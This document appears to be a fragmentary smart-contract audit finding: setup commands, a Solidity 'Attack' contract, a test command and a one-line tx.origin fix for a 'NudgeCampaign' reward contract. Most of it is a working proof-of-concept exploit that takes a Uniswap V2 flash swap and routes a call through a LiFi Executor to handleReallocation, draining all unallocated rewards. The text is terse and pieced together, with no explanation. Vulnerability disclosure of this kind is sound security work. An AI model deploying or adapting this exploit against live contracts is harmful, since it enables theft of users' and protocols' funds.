(UnallocatedRewards * PPQ_DENOMINATOR / REWARD_PPQ) * 0.3%
forge install lifinance/contracts --no-commit
forge install islishude/uniswapv2-solc0.8 --no-commit
+ v2-core/=lib/uniswapv2-solc0.8/contracts/
+ lifi/=lib/contracts/src/
forge flatten lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.sol > lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.flattened.sol
  // SPDX-License-Identifier: GPL-3.0-or-later
+ pragma solidity ^0.8.4;
- pragma solidity =0.8.4;
- erc20Proxy.transferFrom(
-     _transferredAssetId,
-     msg.sender,
-     address(this),
-     _amount
- );
+ IERC20(_transferredAssetId).transferFrom(msg.sender, address(this), _amount);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {Executor, LibSwap} from "lifi/Periphery/Executor.sol";
import {UniswapV2Pair, UniswapV2Factory} from "v2-core/UniswapV2Factory.flattened.sol";
import {IERC20, NudgeCampaign} from "../campaign/NudgeCampaign.sol";
import {console} from "forge-std/console.sol";

contract Attack {
    IERC20 public token;
    UniswapV2Pair public pair;
    NudgeCampaign public campaign;
    Executor public executor;

    constructor(address _token, address _pair, address _campaign, address _executor) {
        token = IERC20(_token);
        pair = UniswapV2Pair(_pair);
        campaign = NudgeCampaign(payable(_campaign));
        executor = Executor(payable(_executor));
    }

    function attack() public {
        // calculate required tokens take all unallocated reward tokens
        uint256 unallocatedRewards = campaign.claimableRewardAmount();
        uint256 toTokensRequired = unallocatedRewards * 1e15 / 2e13;
        bytes memory swapData = new bytes(0xff);
        pair.swap(toTokensRequired, 0, address(this), swapData);
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        // encoded contract call from Executor to Campaign::handleReallocation()
        bytes memory noData = bytes("");
        bytes memory handleReallocationCall = abi.encodeWithSelector(
            NudgeCampaign.handleReallocation.selector,
            campaign.campaignId(),
            address(pair),
            address(token),
            amount0,
            noData
        );

        // swap that's passed to Executor::swapAndExecute()
        LibSwap.SwapData memory swapData = LibSwap.SwapData(
            address(campaign),       // callTo
            address(campaign),       // approveTo
            address(token),          // sendingAssetId
            address(token),          // receivingAssetId
            amount0,                 // fromAmount
            handleReallocationCall,  // callData
            false                    // requiresDeposit
        );
        
        LibSwap.SwapData[] memory swapsArr = new LibSwap.SwapData[](1);
        swapsArr[0] = swapData;

        token.approve(address(executor), type(uint256).max);

        // call the swap
        executor.swapAndExecute(
            keccak256("attackTransactionID"), 
            swapsArr, 
            address(token), 
            payable(address(pair)), 
            amount0
        );
        // pay fee to Uniswap
        token.transfer(address(pair), token.balanceOf(address(this)));
    }
}
forge test --mt test_userClaimsAllRewards
require(userAddress == tx.origin, "participator must be transaction initiator")
